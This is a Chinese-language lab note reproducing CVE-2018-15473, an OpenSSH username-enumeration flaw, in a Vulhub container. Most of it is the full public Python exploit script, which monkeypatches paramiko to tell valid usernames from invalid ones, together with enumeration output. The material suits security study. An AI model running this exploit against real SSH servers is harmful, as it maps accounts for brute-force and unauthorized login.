CVE
在Vulhub上面的CVE复现，一份小记录
OpenSSH
CVE-2018-15473
漏洞内容：在OpenSSH 7.7前存在一个用户名枚举漏洞，通过该漏洞，可以判断某个用户名是否存在于目标主机中
漏洞作用：我们用弱口令、爆破等方式进行尝试登录时，ssh需要的用户名和账户名不管是一致还是不一致，都会给我们一个登录延迟的假象，让我们以为可以登录成功，实则不管你的用户名是否是正确的，它都会让你输入密码，然后告诉你登录失败，因此我们必须知道对方用户准确的用户名，让我们在接下来不管是弱口令登录还是暴力破解方面都很有帮助
利用条件：OpenSSH 版本<7.7
漏洞复现：
进入docker更改密码，此处改为
123456ssh连接docker，查看
/etc/passwd文件来查看用户名1
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21daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
sshd:x:74:74:Privilege-separated SSH:/usr/local/sbin/sshd:/sbin/nologin
vulhub:x:1000:1000:,,,:/home/vulhub:/bin/bash
example:x:1001:1001:,,,:/home/example:/bin/bash测试exp
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205#!/usr/bin/env python
# python2 exp.py --port SSH端口 --userList 用户名字典 IP
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) #
# Vulnerability: CVE-2018-15473 #
# Affected Versions: OpenSSH version < 7.7 #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit #
# Email: Justin.Gardner@SynerComm.com #
# Date: August 20, 2018 #
###########################################################################
import argparse
import logging
import paramiko
import multiprocessing
import socket
import string
import sys
import json
from random import randint as rand
from random import choice as choice
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
# with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
random_username_list = []
# populate the list
for i in range(3):
user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
random_username_list.append(user)
# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print('[-] Failed to negotiate SSH transport')
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return (username, False)
except paramiko.ssh_exception.AuthenticationException:
return (username, True)
#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")
# function to test target system using the randomly generated usernames
def checkVulnerable():
vulnerable = True
for user in random_username_list:
result = checkUsername(user)
if result[1]:
vulnerable = False
return vulnerable
def exportJSON(results):
data = {"Valid":[], "Invalid":[]}
for result in results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])
elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])
return json.dumps(data)
def exportCSV(results):
final = "Username, Valid\n"
for result in results:
final += result[0]+", "+str(result[1])+"\n"
return final
def exportList(results):
final = ""
for result in results:
if result[1]:
final+=result[0]+" is a valid user!\n"
else:
final+=result[0]+" is not a valid user!\n"
return final
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
def main():
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print('[-] Connecting to host failed. Please check the specified host and port.')
sys.exit(1)
# first we run the function to check if host is vulnerable to this CVE
if not checkVulnerable():
# most probably the target host is either patched or running a version not affected by this CVE
print("Target host most probably is not vulnerable or already patched, exiting...")
sys.exit(0)
elif args.username: #single username passed in
result = checkUsername(args.username)
if result[1]:
print(result[0]+" is a valid user!")
else:
print(result[0]+" is not a valid user!")
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print("[-] File doesn't exist or is unreadable.")
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
if args.outputFile:
outputFile = open(args.outputFile, "w")
except IOError:
print("[-] Cannot write to outputFile.")
sys.exit(5)
if args.outputFormat=='json':
if args.outputFile:
outputFile.writelines(exportJSON(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
else:
print(exportJSON(results))
elif args.outputFormat=='csv':
if args.outputFile:
outputFile.writelines(exportCSV(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
else:
print(exportCSV(results))
else:
if args.outputFile:
outputFile.writelines(exportList(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in List form.")
else:
print(exportList(results))
else: # no usernames passed in
print("[-] No usernames provided to check")
sys.exit(4)
if __name__ == '__main__':
main()此处我们还需要一个用户名字典，可以自行构造，也可以用github上面一个开源项目SecLists，节约时间我们自行构造一个简短list，最终测试结果如下
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36admin is not a valid user!
bin is a valid user!
sys is a valid user!
sync is a valid user!
games is a valid user!
man is a valid user!
lp is a valid user!
111 is not a valid user!
1243 is not a valid user!
sahdsa is not a valid user!
jalba is not a valid user!
dsa is not a valid user!
fe is not a valid user!
qf is not a valid user!
ds is not a valid user!
vc is not a valid user!
dsshg is not a valid user!
rsa is not a valid user!
grdfsbvfgd is not a valid user!
sb is not a valid user!
fgd is not a valid user!
s is not a valid user!
bgfd is not a valid user!
s is not a valid user!
g is not a valid user!
fds is not a valid user!
g is not a valid user!
fd is not a valid user!
sgf is not a valid user!
ds is not a valid user!
g is not a valid user!
fdsh is not a valid user!
tr is not a valid user!
wnbyrsbf is not a valid user!
dgs is not a valid user!
root is a valid user!显然漏洞存在，而当我们对高级版本的SSH进行测试时，exp失效
